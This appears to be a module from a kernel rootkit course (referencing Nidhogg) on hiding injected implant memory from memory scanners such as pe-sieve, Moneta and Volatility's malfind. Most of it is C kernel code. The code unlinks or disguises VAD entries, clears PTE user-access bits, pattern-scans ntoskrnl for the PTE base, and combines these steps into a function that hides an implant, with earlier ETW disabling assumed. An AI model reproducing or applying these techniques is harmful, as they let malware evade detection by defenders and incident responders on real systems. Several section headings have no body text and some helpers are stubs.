Module 7: Memory Scanner Evasion

Hiding memory regions from pe-sieve and user-mode scanners via VAD manipulation and PTE tricks.

1. How Memory Scanners Work

User-mode memory scanners (pe-sieve, Moneta, malfind in Volatility) detect injected code by examining process memory characteristics. They typically use two approaches:

2. The Virtual Address Descriptor (VAD) Tree

The Windows memory manager tracks virtual memory allocations for each process using a self-balancing binary tree of VAD entries. Each VAD describes a range of virtual addresses:

C// Simplified MMVAD structure (actual structure is complex)
typedef struct _MMVAD_SHORT {
    union {
        RTL_BALANCED_NODE VadNode;      // AVL tree node (parent, left, right)
        MMVAD_SHORT*      NextVad;
    };
    ULONG             StartingVpn;      // Starting virtual page number
    ULONG             EndingVpn;        // Ending virtual page number
    // StartingVpn * PAGE_SIZE = region base address
    // (EndingVpn - StartingVpn + 1) * PAGE_SIZE = region size

    union {
        ULONG_PTR    Flags;
        struct {
            ULONG_PTR VadType     : 3;  // VadNone, VadDevicePhysicalMemory, etc.
            ULONG_PTR Protection  : 5;  // PAGE_EXECUTE_READWRITE, etc.
            ULONG_PTR PrivateMemory : 1; // 1 = private, 0 = mapped/image
            ULONG_PTR MemCommit   : 1;  // Committed or reserved
            // ... more flag bits
        };
    };
} MMVAD_SHORT, *PMMVAD_SHORT;

// Extended VAD for mapped/image-backed regions
typedef struct _MMVAD {
    MMVAD_SHORT     Core;
    // ...
    PCONTROL_AREA   ControlArea;    // Points to backing file (if mapped/image)
    PFILE_OBJECT    FileObject;     // The backing file object
    // ...
} MMVAD, *PMMVAD;

The VAD tree root is stored in the EPROCESS structure. When user-mode code calls NtQueryVirtualMemory, the kernel walks this tree to return information about memory regions.

3. VAD-Based Memory Hiding

By manipulating VAD entries, Nidhogg can make memory regions invisible to user-mode queries. There are several approaches:

3.1 VAD Entry Removal

C// Remove a VAD entry from the AVL tree
// This makes the region invisible to NtQueryVirtualMemory
NTSTATUS HideMemoryRegion(PEPROCESS process, PVOID baseAddress) {
    // 1. Get the VAD root from EPROCESS
    PMMVAD_SHORT vadRoot = GetVadRoot(process);
    if (!vadRoot) return STATUS_NOT_FOUND;

    // 2. Calculate the VPN (Virtual Page Number) for the target address
    ULONG_PTR targetVpn = (ULONG_PTR)baseAddress >> PAGE_SHIFT;

    // 3. Walk the AVL tree to find the VAD containing this address
    PMMVAD_SHORT targetVad = FindVadByVpn(vadRoot, targetVpn);
    if (!targetVad) return STATUS_NOT_FOUND;

    // 4. Remove from the AVL tree
    // Must properly rebalance the tree after removal
    PRTL_BALANCED_NODE vadNode = &targetVad->VadNode;

    // Use MiRemoveNode or manually unlink + rebalance
    // CRITICAL: improper removal corrupts the tree -> BSOD
    RemoveVadNode(process, vadNode);

    return STATUS_SUCCESS;
}

3.2 VAD Flag Manipulation

A safer approach is to modify the VAD flags rather than removing the entry entirely:

C// Change VAD flags to make the region look benign
NTSTATUS DisguiseMemoryRegion(PEPROCESS process, PVOID baseAddress) {
    PMMVAD_SHORT targetVad = FindVadForAddress(process, baseAddress);
    if (!targetVad) return STATUS_NOT_FOUND;

    // Option 1: Change protection from PAGE_EXECUTE_READWRITE to PAGE_READWRITE
    // This removes the executable flag, making it look like data memory
    // pe-sieve skips non-executable regions
    targetVad->Protection = MM_READWRITE;  // Was MM_EXECUTE_READWRITE

    // Option 2: Mark as image-backed instead of private
    // This makes it look like a legitimate loaded module
    targetVad->PrivateMemory = 0;

    return STATUS_SUCCESS;
}

4. Page Table Entry (PTE) Manipulation

For deeper memory concealment, a kernel rootkit can manipulate Page Table Entries directly. PTEs are the hardware-level structures that the CPU uses for virtual-to-physical address translation:

C// x64 PTE structure (hardware format)
typedef struct _HARDWARE_PTE {
    ULONG64 Valid         : 1;   // Page is present in physical memory
    ULONG64 Write         : 1;   // Page is writable
    ULONG64 Owner         : 1;   // 0 = kernel, 1 = user accessible
    ULONG64 WriteThrough  : 1;   // Cache write-through
    ULONG64 CacheDisable  : 1;   // Disable caching
    ULONG64 Accessed      : 1;   // Page has been accessed
    ULONG64 Dirty         : 1;   // Page has been written
    ULONG64 LargePage     : 1;   // 2MB page (in PDE)
    ULONG64 Global        : 1;   // Global page (not flushed on CR3 switch)
    ULONG64 CopyOnWrite   : 1;   // Software: COW
    ULONG64 Prototype     : 1;   // Software: prototype PTE
    ULONG64 Reserved      : 1;
    ULONG64 PageFrameNumber : 36; // Physical page frame number
    ULONG64 Reserved2     : 4;
    ULONG64 SoftwareWsIndex : 11;
    ULONG64 NoExecute     : 1;   // NX bit: page is not executable
} HARDWARE_PTE, *PHARDWARE_PTE;

5. PTE-Based Hiding Techniques

Several PTE manipulation techniques can hide memory from scanners:

C// Technique: Clear the User/Supervisor bit to hide from user-mode reads
NTSTATUS HidePageFromUserMode(PVOID virtualAddress) {
    // 1. Resolve the PTE for this virtual address
    // PTE address calculation for x64:
    // PTE_BASE + (VA >> 12) * 8
    PHARDWARE_PTE pte = MiGetPteAddress(virtualAddress);

    // 2. Save original PTE value
    HARDWARE_PTE originalPte = *pte;

    // 3. Clear the Owner bit (make kernel-only)
    pte->Owner = 0;  // 0 = supervisor (ring 0) only

    // 4. Flush the TLB for this page
    // The CPU caches PTE translations; must invalidate
    __invlpg(virtualAddress);

    // Result: User-mode ReadProcessMemory returns STATUS_PARTIAL_COPY
    // Kernel-mode code can still access the page normally
    return STATUS_SUCCESS;
}

6. MiGetPteAddress: Resolving PTEs

Finding the PTE for a given virtual address requires navigating the 4-level page table hierarchy:

C// x64 Page Table Hierarchy
// PML4E -> PDPTE -> PDE -> PTE -> Physical Page

// Windows maintains a recursive page table mapping at a known base
// The PTE base address varies by Windows version

PHARDWARE_PTE MiGetPteAddress(PVOID virtualAddress) {
    // Method 1: Use the exported MmGetVirtualForPhysical approach
    // or pattern-scan for MiGetPteAddress in ntoskrnl

    // Method 2: Calculate from the PTE base
    // PTE_BASE is stored in MmPteBase (internal variable)
    // PTE address = PTE_BASE + ((VA >> 12) << 3)
    ULONG_PTR va = (ULONG_PTR)virtualAddress;
    ULONG_PTR pteAddr = g_PteBase + ((va >> 12) << 3);
    return (PHARDWARE_PTE)pteAddr;
}

// Finding PTE base: scan ntoskrnl for MiGetPteAddress
ULONG_PTR FindPteBase() {
    // MiGetPteAddress has a characteristic pattern:
    // MOV RAX, VA          (48 C7 C0 ...)
    // SHR RAX, 9           (48 C1 E8 09)
    // MOV RCX, PTE_BASE    (48 B9 xx xx xx xx xx xx xx xx)
    // ... pattern scan ntoskrnl .text section
    return g_PteBase;
}

7. Combining VAD and PTE Techniques

The most effective memory hiding combines multiple layers:

C// Full-stack memory hiding for an implant
NTSTATUS HideImplantMemory(ULONG pid, PVOID baseAddress, SIZE_T regionSize) {
    NTSTATUS status;
    PEPROCESS targetProcess;

    PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)pid, &targetProcess);

    // Layer 1: Modify VAD flags
    status = DisguiseVadFlags(targetProcess, baseAddress);

    // Layer 2: Set PTE Owner bit to kernel-only for each page
    KAPC_STATE apcState;
    KeStackAttachProcess(targetProcess, &apcState);
    for (SIZE_T offset = 0; offset < regionSize; offset += PAGE_SIZE) {
        PVOID pageAddr = (PUCHAR)baseAddress + offset;
        PHARDWARE_PTE pte = MiGetPteAddress(pageAddr);
        if (pte && pte->Valid) {
            pte->Owner = 0;  // Supervisor only
            __invlpg(pageAddr);
        }
    }
    KeUnstackDetachProcess(&apcState);

    // Layer 3: Process protection via ObRegisterCallbacks (already set up)
    // Layer 4: ETW already disabled via Module 5 techniques

    ObDereferenceObject(targetProcess);
    return STATUS_SUCCESS;
}

8. Defeating Kernel-Mode Scanners

User-mode scanners can be defeated with VAD and PTE tricks, but kernel-mode scanners (EDR drivers that read process memory directly) are harder to evade:

9. TLB Considerations

When modifying PTEs, the Translation Lookaside Buffer (TLB) must be properly managed:

C// After modifying a PTE, the CPU's TLB may still cache the old translation
// Must invalidate the TLB entry for the affected virtual address

// Single page invalidation (preferred)
__invlpg(virtualAddress);

// If modifying PTEs for a different process (different CR3):
// Must flush TLB on all processors that might have cached the translation
// Use KeIpiGenericCall or KeFlushEntireTb for cross-processor flush

VOID FlushTlbForAddress(PVOID address) {
    // This runs on the current processor
    __invlpg(address);

    // For multi-processor systems, also flush remote TLBs
    // The kernel's MiFlushTb or KeFlushSingleTb handles this
    // Or use an IPI (Inter-Processor Interrupt):
    KeIpiGenericCall(FlushTlbOnAllProcessors, (ULONG_PTR)address);
}